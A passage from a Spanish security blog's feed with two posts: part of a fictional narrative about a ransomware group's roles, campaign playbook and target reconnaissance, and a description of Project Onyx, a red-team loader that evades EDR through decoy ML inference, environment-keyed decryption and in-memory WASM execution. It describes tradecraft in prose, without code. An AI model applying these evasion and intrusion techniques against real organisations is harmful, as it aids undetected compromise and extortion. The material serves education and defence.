cicatrices&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Magpie&lt;/strong&gt;, inteligencia, vivía de patrones. Tenía una base de datos de empresas con campos que parecían sacados de un CRM:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;company_name&lt;/li&gt;&lt;li&gt;revenue_estimate&lt;/li&gt;&lt;li&gt;cyber_insurance_probability&lt;/li&gt;&lt;li&gt;backup_maturity&lt;/li&gt;&lt;li&gt;m365_tenant&lt;/li&gt;&lt;li&gt;vpn_stack&lt;/li&gt;&lt;li&gt;recent_merger&lt;/li&gt;&lt;li&gt;security_hiring_velocity&lt;/li&gt;&lt;li&gt;regulatory_pressure&lt;/li&gt;&lt;li&gt;executive_email_exposure&lt;/li&gt;&lt;li&gt;known_credentials&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No elegía objetivos solo por tamaño. Una multinacional enorme podía tener una respuesta madura y copias de seguridad sólidas. Una empresa mediana con filiales, deuda, seguro ciber y dependencia de SAP podía pagar más rápido.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Saltline&lt;/strong&gt;, phishing, no era simplemente “el que enviaba correos”. Era un diseñador de conversión criminal. Probaba asuntos, horarios, dominios, plantillas, landing pages, certificados, pretextos y empaquetado de payloads. Sabía que el asunto perfecto no parecía urgente; parecía aburridamente corporativo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Sable&lt;/strong&gt;, loader de malware, tenía obsesión por los primeros cinco minutos. Decía que un implante no moría por el cifrado, moría por el ruido inicial. SeedCrate hacía poco y lo hacía despacio: validar entorno, contactar con el C2, descargar módulos y dormir.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Oboe&lt;/strong&gt;, responsable del C2, pensaba en tráfico. Su trabajo era que el implante respirara como software normal. Beaconing con jitter. Cabeceras HTTP plausibles. TLS limpio. Rotación de dominios. Perfiles específicos por víctima. Nada de patrones globales fáciles de detectar.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Knifewall&lt;/strong&gt;, operador de Active Directory, era el más temido internamente porque era capaz de convertir una cuenta mediocre en control total del entorno si le daban tiempo. No ejecutaba herramientas a lo loco. Primero observaba. Después tocaba. Finalmente, cuando ya conocía la red mejor que algunos administradores, actuaba.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Meridian&lt;/strong&gt;, especialista cloud, entendía Microsoft 365 como un territorio político. Tokens, refresh tokens, consent grants, Azure AD roles, aplicaciones empresariales, mailbox rules, eDiscovery, SharePoint, OneDrive, Teams e Intune. Para Meridian, el correo era más valioso que un shell.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Nadir&lt;/strong&gt;, ransomware, era un ingeniero de fiabilidad. Su pregunta no era “cómo cifrar”, sino “cómo cifrar sin destruir lo que necesitamos para cobrar”. El ransomware debía dejar la máquina viva, la red parcialmente utilizable, la nota visible y el descifrador creíble.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Vesper&lt;/strong&gt;, negociador, escribía como un consultor. Nunca gritaba. Nunca amenazaba de forma vulgar. Mostraba control, pruebas, plazos y consecuencias. Sabía que, en una crisis, el tono calmado puede resultar más intimidante que la rabia.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;strong&gt;Mint&lt;/strong&gt;, finanzas, era la persona menos técnica en malware y la más técnica en dinero. Sabía de UTXO, heurísticas de clustering, exchanges con KYC, mercados P2P, OTC desks, stablecoins, liquidez, comisiones y jurisdicciones. Su trabajo consistía en convertir rescates en dinero utilizable sin crear una línea recta hacia los responsables.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;El playbook&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Cada campaña tenía un documento vivo. Para &lt;strong&gt;Operación Black Orchard&lt;/strong&gt;, el playbook comenzaba así:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Campaign: Black Orchard&lt;/li&gt;&lt;li&gt;Target class: energy / logistics / EU-LATAM operations&lt;/li&gt;&lt;li&gt;Primary language: Spanish / English&lt;/li&gt;&lt;li&gt;Initial pretext: HR benefits migration&lt;/li&gt;&lt;li&gt;Desired access: M365 + workstation foothold&lt;/li&gt;&lt;li&gt;Preferred execution: HTML smuggling -&amp;gt; LNK -&amp;gt; DLL sideload&lt;/li&gt;&lt;li&gt;Target data: contracts, payroll, legal, SAP exports, executive mailboxes&lt;/li&gt;&lt;li&gt;Ransom model: double extortion&lt;/li&gt;&lt;li&gt;Max dwell time: 21 days&lt;/li&gt;&lt;li&gt;Abort conditions:&lt;/li&gt;&lt;ul&gt;&lt;li&gt;EDR full containment before privilege escalation&lt;/li&gt;&lt;li&gt;Law enforcement sinkhole indication&lt;/li&gt;&lt;li&gt;No sensitive data after 10 days&lt;/li&gt;&lt;li&gt;Backup maturity score too high&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;También incluía una matriz de riesgo:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiLk09Nc0T2B8U1tf81jq0P8Z8yWqptk7aRKHJc2LN9Z4_T8_ARFMFtrinFq0paDqhgBmTk0UXWH4ILI8zw4o_w6DDQ3UgqFDJf10UWllRf8NFYAJ-84Cit6GZ6PXk2rNUuwzzeEQB5DVK6J4B06e2A1radQZnw7SRk5pKnUtu7oKhiGEzaJX-HNKsjXvQF&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;&quot; data-original-height=&quot;137&quot; data-original-width=&quot;459&quot; height=&quot;147&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEiLk09Nc0T2B8U1tf81jq0P8Z8yWqptk7aRKHJc2LN9Z4_T8_ARFMFtrinFq0paDqhgBmTk0UXWH4ILI8zw4o_w6DDQ3UgqFDJf10UWllRf8NFYAJ-84Cit6GZ6PXk2rNUuwzzeEQB5DVK6J4B06e2A1radQZnw7SRk5pKnUtu7oKhiGEzaJX-HNKsjXvQF=w492-h147&quot; width=&quot;492&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;No todo estaba permitido. Nebula Jackal evitaba hospitales pequeños, infraestructuras donde el daño físico fuese probable y objetivos con baja probabilidad de pago. No por ética estable, sino por gestión de riesgo. Una muerte atrae más atención que un balance destruido.&lt;/p&gt;&lt;h2&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Selección del objetivo: IberLogix Energy&lt;/span&gt;&lt;/h2&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWQ51qwJHoNarmLwr83Vju3zfm2mhwGRAQ4Yrs_8TmKUaTJxpwyVbjz83aAne4uAZkLnyhVpzSAcrrEEfWOUs_eIg8aGQpClfhPDwjyhQ4ZfWeRJcUhKbaCSFkooTzV8vAMo585pBtp9FyDRw1azrcshzHGBdkuztcirKaAFaXIj_dbJmg6VaNOZNxxtyU/s2176/iberlogic.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1792&quot; data-original-width=&quot;2176&quot; height=&quot;264&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWQ51qwJHoNarmLwr83Vju3zfm2mhwGRAQ4Yrs_8TmKUaTJxpwyVbjz83aAne4uAZkLnyhVpzSAcrrEEfWOUs_eIg8aGQpClfhPDwjyhQ4ZfWeRJcUhKbaCSFkooTzV8vAMo585pBtp9FyDRw1azrcshzHGBdkuztcirKaAFaXIj_dbJmg6VaNOZNxxtyU/s320/iberlogic.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;El objetivo ficticio de esta serie, &lt;strong&gt;IberLogix Energy&lt;/strong&gt;, no era una caricatura vulnerable. Era una multinacional razonablemente madura: 18.000 empleados, operaciones en España, Portugal, México, Chile y Marruecos, tenant M365, EDR corporativo, SIEM, VPN, segmentación parcial, copias de seguridad centralizadas y un equipo de seguridad competente pero saturado.&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Precisamente por eso interesaba.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Magpie encontró tres señales:&lt;/p&gt;&lt;ol data-spread=&quot;false&quot; start=&quot;1&quot;&gt;&lt;li&gt;IberLogix había comprado una filial logística llamada &lt;strong&gt;TransIber Norte&lt;/strong&gt;.&lt;/li&gt;&lt;li&gt;En LinkedIn, empleados mencionaban una “migración de beneficios y nóminas”.&lt;/li&gt;&lt;li&gt;Las ofertas de empleo pedían experiencia en “Azure AD Connect, SCCM, Fortinet VPN, Veeam, SAP Basis y Sentinel”.&lt;/li&gt;&lt;/ol&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Con eso, Nebula Jackal infirió:&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Hybrid AD likely: yes&lt;/li&gt;&lt;li&gt;M365 tenant: yes&lt;/li&gt;&lt;li&gt;VPN vendor: Fortinet&lt;/li&gt;&lt;li&gt;Backup vendor: Veeam&lt;/li&gt;&lt;li&gt;Endpoint management: SCCM / Intune mixed&lt;/li&gt;&lt;li&gt;Identity friction: high due to acquisition&lt;/li&gt;&lt;li&gt;Phishing pretext viability: high&lt;/li&gt;&lt;li&gt;Ransom pressure: high, energy + payroll + legal&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La campaña no empezó con un exploit.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Empezó con una historia que la víctima ya estaba viviendo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;La historia era simple:&lt;/p&gt;&lt;blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;i&gt;Recursos Humanos está migrando el portal de beneficios.&lt;/i&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En las grandes empresas, las mejores mentiras no inventan una realidad. Se adhieren a una realidad existente y la empujan apenas unos centímetros.&lt;/p&gt;&lt;p&gt;Y eso era exactamente lo que Nebula Jackal sabía hacer.&lt;/p&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;i&gt;Continúa en la &lt;a href=&quot;https://www.hackplayers.com/2026/06/anatomia-de-una-apt-simulada-parte-2.html&quot;&gt;parte 2: La semilla, el anzuelo y el primer latido&lt;/a&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/3503573753592118901/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/anatomia-de-una-apt-simulada-parte-1.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3503573753592118901'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/3503573753592118901'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/anatomia-de-una-apt-simulada-parte-1.html' title='Anatomía de una APT simulada. Parte 1 - La empresa invisible'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3-wKAtDgfhZjFS4gTKZfgAwPgN3MA_fftcznEZw8EICYywSHyxUfMRXKHjWJQus2ttylRv93MtDYgReXwyUfNnV1L1BXiyLvMTIr6C122KSlAcblzqvXxjD44Ru5MUkBjo1kdBAOC8b7fDGvASsQK6HNGorIdRkapr2lyPl3-BvNAvN746CxNxz5N5yRD/s72-w640-h426-c/OrganigramaJackal.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-4125850877169716292</id><published>2026-05-26T00:09:05.660+02:00</published><updated>2026-05-26T00:10:20.275+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="edr"/><category scheme="http://www.blogger.com/atom/ns#" term="evasion"/><category scheme="http://www.blogger.com/atom/ns#" term="maldev"/><category scheme="http://www.blogger.com/atom/ns#" term="red team"/><title type='text'>Project Onyx: cuando “parecer legítimo” se convierte en la mejor técnica de evasión</title><content type='html'>&lt;p&gt;Los EDR modernos no fallan porque no tengan datos. Fallan porque tienen demasiados datos “correctos”.&lt;/p&gt;
&lt;p data-end=&quot;427&quot; data-start=&quot;151&quot;&gt;Todo lo que hacen hoy —llamadas a API, cadenas de eventos, correlación de procesos, telemetría de usuario, contexto de máquina— ya no describe intención. Describe comportamiento. Y el problema es que el comportamiento, bien construido, puede ser indistinguible de lo legítimo.&lt;/p&gt;
&lt;p data-end=&quot;483&quot; data-start=&quot;429&quot;&gt;&lt;strong data-end=&quot;445&quot; data-start=&quot;429&quot;&gt;Project Onyx&lt;/strong&gt; nace precisamente de esa incomodidad.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaw7G84JjCw6LJ28K86xWRU0Y1V540g0Mco7wc95KBxAW0GYOykxLVCQqyF3yqZRHpOWns_e9coFQUpsNAiBNqSD3U-xJKbZZp8vu9tpPi_7qQohV8pqTeTdSy0pEypJDNPFcnA4kEwRNJj5SY_KqnZ93fmQ5xJQNhUqjMJ9II77eYYXILbXwpu1oxC3b/s1672/onyx_banner.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;941&quot; data-original-width=&quot;1672&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaw7G84JjCw6LJ28K86xWRU0Y1V540g0Mco7wc95KBxAW0GYOykxLVCQqyF3yqZRHpOWns_e9coFQUpsNAiBNqSD3U-xJKbZZp8vu9tpPi_7qQohV8pqTeTdSy0pEypJDNPFcnA4kEwRNJj5SY_KqnZ93fmQ5xJQNhUqjMJ9II77eYYXILbXwpu1oxC3b/w640-h360/onyx_banner.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;1011&quot; data-start=&quot;673&quot;&gt;El pipeline no empieza con ejecución ofensiva directa, sino con lo que internamente denominamos un &lt;strong data-end=&quot;814&quot; data-start=&quot;772&quot;&gt;AI Decoy (Behavioral Camouflage layer)&lt;/strong&gt;. Antes de cualquier lógica sensible, el host inicializa un modelo ONNX completamente funcional —un pequeño MLP ejecutado vía Microsoft ONNX Runtime— y fuerza una fase de inferencia tensorial real.&lt;/p&gt;&lt;p data-end=&quot;1220&quot; data-start=&quot;1013&quot;&gt;Esto no es simulación ni ruido sintético. Es carga legítima de machine learning: forward passes reales, uso de runtime optimizado, y patrones de ejecución indistinguibles de cualquier workload moderno de IA.&lt;/p&gt;&lt;p data-end=&quot;483&quot; data-start=&quot;429&quot;&gt;
&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p data-end=&quot;1642&quot; data-start=&quot;1222&quot;&gt;Desde la perspectiva de un EDR, esto introduce una firma conductual extremadamente problemática: el proceso ya está generando telemetría válida de “aplicación legítima”. Llamadas a librerías de inferencia, uso de CPU coherente, y flujos de ejecución que encajan perfectamente dentro de perfiles de software contemporáneo. La intención real queda encapsulada dentro de una capa que, por diseño, maximiza su plausibilidad.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM2JTd-DOXal9RJcbrEFqP8u7ogrSGwBe7ekDWVXc9RUFgsOt4VX4K5b4cafYKn8HkI6QXIGv-NNq9mpHBy18BqDXYtEezbFlIXCcpt3U71OWrois_rnKkBJgtaccaMDGHlDefmrWvP29Ak5gBN56itYogVsVUQOxQE8Pn4OrPo2czIdak_nsTLSF7eokL/s600/legit-deer.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;420&quot; data-original-width=&quot;600&quot; height=&quot;280&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgM2JTd-DOXal9RJcbrEFqP8u7ogrSGwBe7ekDWVXc9RUFgsOt4VX4K5b4cafYKn8HkI6QXIGv-NNq9mpHBy18BqDXYtEezbFlIXCcpt3U71OWrois_rnKkBJgtaccaMDGHlDefmrWvP29Ak5gBN56itYogVsVUQOxQE8Pn4OrPo2czIdak_nsTLSF7eokL/w400-h280/legit-deer.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;1766&quot; data-start=&quot;1644&quot;&gt;Una vez establecido este baseline de comportamiento, el sistema transiciona a la siguiente capa: &lt;strong data-end=&quot;1765&quot; data-start=&quot;1741&quot;&gt;Environmental Keying&lt;/strong&gt;.&lt;/p&gt;
&lt;p data-end=&quot;2027&quot; data-start=&quot;1768&quot;&gt;Aquí, el payload deja de ser portable. La ejecución depende estrictamente del entorno de origen. Las claves de descifrado no existen como constantes, sino que se derivan dinámicamente a partir de un hash SHA-256 compuesto por tres identificadores del sistema: MachineGuid del sistema operativo, Volume Serial Number y SID del usuario actual.&lt;/p&gt;
&lt;p data-end=&quot;2437&quot; data-start=&quot;2120&quot;&gt;Estos elementos se combinan para producir una identidad criptográfica del host. El resultado es que cualquier intento de análisis fuera del sistema objetivo —ya sea sandbox o entorno de reversing— colapsa en una versión inerte del payload. Sin el fingerprint exacto, el flujo simplemente no converge en estado válido. Esto convierte el binario en algo más cercano a una función del entorno que a un artefacto estático.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEabPE40mWJ-_zMp1e5GZ-HmNJOKasfmSuoh2mhFGMQ1-2lMSmSsTi8Mah9Mi8aMsQiUW7P-gct6OLHdDqQJWPSiiXWiZI_2_HokqpTaxFUaoNdnLLY5Y857ySLE6J8B6ke-7qCdBEuqiNiVv5J0o2bsLB1wmj_YiHCufGZWTAeIrPAVfEKpSBl2Al7Mih/s638/caminos.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;638&quot; data-original-width=&quot;632&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEabPE40mWJ-_zMp1e5GZ-HmNJOKasfmSuoh2mhFGMQ1-2lMSmSsTi8Mah9Mi8aMsQiUW7P-gct6OLHdDqQJWPSiiXWiZI_2_HokqpTaxFUaoNdnLLY5Y857ySLE6J8B6ke-7qCdBEuqiNiVv5J0o2bsLB1wmj_YiHCufGZWTAeIrPAVfEKpSBl2Al7Mih/s320/caminos.png&quot; width=&quot;317&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;&lt;p data-end=&quot;2803&quot; data-start=&quot;2541&quot;&gt;La siguiente transición arquitectónica ocurre en la capa de ejecución. En lugar de mantener lógica ofensiva en el binario nativo, Project Onyx delega la ejecución del payload a un entorno &lt;strong data-end=&quot;2751&quot; data-start=&quot;2729&quot;&gt;WebAssembly (WASM)&lt;/strong&gt;, ejecutado en memoria mediante el intérprete wasm3.&lt;/p&gt;
&lt;p data-end=&quot;3073&quot; data-start=&quot;2805&quot;&gt;El host en C++ deja de ser el ejecutor directo y pasa a actuar como loader y API bridge. Su función es estrictamente controlada: exponer un conjunto limitado de funciones seguras hacia el sandbox WASM, mientras el payload vive completamente aislado dentro del runtime.&lt;/p&gt;
&lt;p data-end=&quot;3363&quot; data-start=&quot;3075&quot;&gt;Esto introduce una separación relevante desde el punto de vista de análisis dinámico: el flujo crítico deja de residir en el espacio nativo observable del proceso principal y se desplaza a una capa intermedia, donde la instrumentación tradicional del endpoint pierde granularidad directa.&lt;/p&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8dIqQFgGr-zln6pNM93AiTY-E__SVXXEQLjOS6_UgVfs4gfveZcj34uW266Lih6rDGV-g-21GJ5WjQXJcXtF8tH3DDhx6FCm78RcdU2NmzEggg6M5DLl7ZVL-n1vGAij1I0TRcmDRiTSFTT4docnZJTLg29TlgZMZFPcqhNC8dSh9frwzFMFW0mdHQ2x/s498/sandboxmeme.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;285&quot; data-original-width=&quot;498&quot; height=&quot;229&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiz8dIqQFgGr-zln6pNM93AiTY-E__SVXXEQLjOS6_UgVfs4gfveZcj34uW266Lih6rDGV-g-21GJ5WjQXJcXtF8tH3DDhx6FCm78RcdU2NmzEggg6M5DLl7ZVL-n1vGAij1I0TRcmDRiTSFTT4docnZJTLg29TlgZMZFPcqhNC8dSh9frwzFMFW0mdHQ2x/w400-h229/sandboxmeme.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;Finalmente, la protección del propio payload se resuelve mediante una capa que internamente denominamos &lt;strong data-end=&quot;3492&quot; data-start=&quot;3469&quot;&gt;Cryptographic Vault&lt;/strong&gt;.&lt;/div&gt;
&lt;p data-end=&quot;3724&quot; data-start=&quot;3495&quot;&gt;El módulo WASM no está almacenado en claro. Está cifrado con AES-256, pero la clave no reside en el binario. En su lugar, se encuentra encapsulada dentro de los metadatos de un modelo ONNX —el mismo utilizado en la capa de decoy.&lt;/p&gt;
&lt;p data-end=&quot;3974&quot; data-start=&quot;3726&quot;&gt;La derivación de esta clave no es trivial: se construye mediante un pipeline que combina PBKDF2-HMAC-SHA256 y HKDF-SHA256, con validación adicional mediante HMAC en tiempo constante para evitar condiciones de timing leakage durante la verificación.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeF7rRJbyuMGGR2-jJzXmvFiBYfDvsaGF2noa3xeqPGYGwKPudrcsT8yQSG1Hm8Wp8YvQmYKOsnm7djk7d8ujocRRFfPzmebPKXzDTF_R9DhaK433pWqILa4SH82Xkklz7wgDjSvYEvD73hBVPj6Wmg-JBwb5gDFqAnGCyZOgmKPxyihjHJbuLPuzKH35o/s977/supersafe.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;641&quot; data-original-width=&quot;977&quot; height=&quot;263&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeF7rRJbyuMGGR2-jJzXmvFiBYfDvsaGF2noa3xeqPGYGwKPudrcsT8yQSG1Hm8Wp8YvQmYKOsnm7djk7d8ujocRRFfPzmebPKXzDTF_R9DhaK433pWqILa4SH82Xkklz7wgDjSvYEvD73hBVPj6Wmg-JBwb5gDFqAnGCyZOgmKPxyihjHJbuLPuzKH35o/w400-h263/supersafe.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p data-end=&quot;4025&quot; data-start=&quot;3976&quot;&gt;El resultado es una cadena de dependencias donde el modelo ONNX no solo genera telemetría conductual, también actúa como contenedor de material criptográfico y el entorno del sistema es el único elemento que permite resolver el estado final válido.&lt;/p&gt;&lt;p data-end=&quot;4428&quot; data-start=&quot;4243&quot;&gt;Cuando se observa el sistema en su conjunto, lo que emerge no es una técnica aislada de evasión, sino una composición de capas diseñadas para colapsar el modelo de análisis tradicional:&lt;/p&gt;&lt;ul data-end=&quot;4645&quot; data-start=&quot;4430&quot;&gt;
&lt;li data-end=&quot;4468&quot; data-section-id=&quot;1xytdqc&quot; data-start=&quot;4430&quot;&gt;
comportamiento legítimo (AI Decoy)
&lt;/li&gt;
&lt;li data-end=&quot;4525&quot; data-section-id=&quot;1qo0kle&quot; data-start=&quot;4469&quot;&gt;
identidad del host como clave (Environmental Keying)
&lt;/li&gt;
&lt;li data-end=&quot;4579&quot; data-section-id=&quot;1rk8e89&quot; data-start=&quot;4526&quot;&gt;
ejecución aislada y fragmentada (WASM sandboxing)
&lt;/li&gt;
&lt;li data-end=&quot;4645&quot; data-section-id=&quot;11istht&quot; data-start=&quot;4580&quot;&gt;
y dependencia criptográfica distribuida (Cryptographic Vault)
&lt;/li&gt;
&lt;/ul&gt;&lt;p data-end=&quot;4831&quot; data-start=&quot;4647&quot;&gt;El resultado es un flujo donde ningún componente individual es anómalo por sí mismo, pero cuya intención global solo es observable si se reconstruye la cadena completa de dependencias.&lt;/p&gt;&lt;p data-end=&quot;4925&quot; data-start=&quot;4833&quot;&gt;Y ahí es donde Project Onyx se vuelve interesante desde la perspectiva de detección moderna: no está atacando un EDR directamente.&lt;/p&gt;&lt;p data-end=&quot;4025&quot; data-start=&quot;3976&quot;&gt;




&lt;/p&gt;&lt;p data-end=&quot;5139&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;4966&quot;&gt;Está cuestionando si el modelo de observación actual todavía es capaz de distinguir intención cuando cada fragmento del sistema es indistinguible de comportamiento legítimo.&lt;/p&gt;&lt;p data-end=&quot;5139&quot; data-is-last-node=&quot;&quot; data-is-only-node=&quot;&quot; data-start=&quot;4966&quot;&gt;&lt;b&gt;Proyecto&lt;/b&gt;:&amp;nbsp;&lt;a href=&quot;https://github.com/X-3306/Project-Onyx&quot;&gt;https://github.com/X-3306/Project-Onyx&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/4125850877169716292/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/05/project-onyx-parecer-legitimo-al-edr.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4125850877169716292'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/4125850877169716292'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/05/project-onyx-parecer-legitimo-al-edr.html' title='Project Onyx: cuando “parecer legítimo” se convierte en la mejor técnica de evasión'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaw7G84JjCw6LJ28K86xWRU0Y1V540g0Mco7wc95KBxAW0GYOykxLVCQqyF3yqZRHpOWns_e9coFQUpsNAiBNqSD3U-xJKbZZp8vu9tpPi_7qQohV8pqTeTdSy0pEypJDNPFcnA4kEwRNJj5SY_KqnZ93fmQ5xJQNhUqjMJ9II77eYYXILbXwpu1oxC3b/s72-w640-h360-c/onyx_banner.png" height="72" 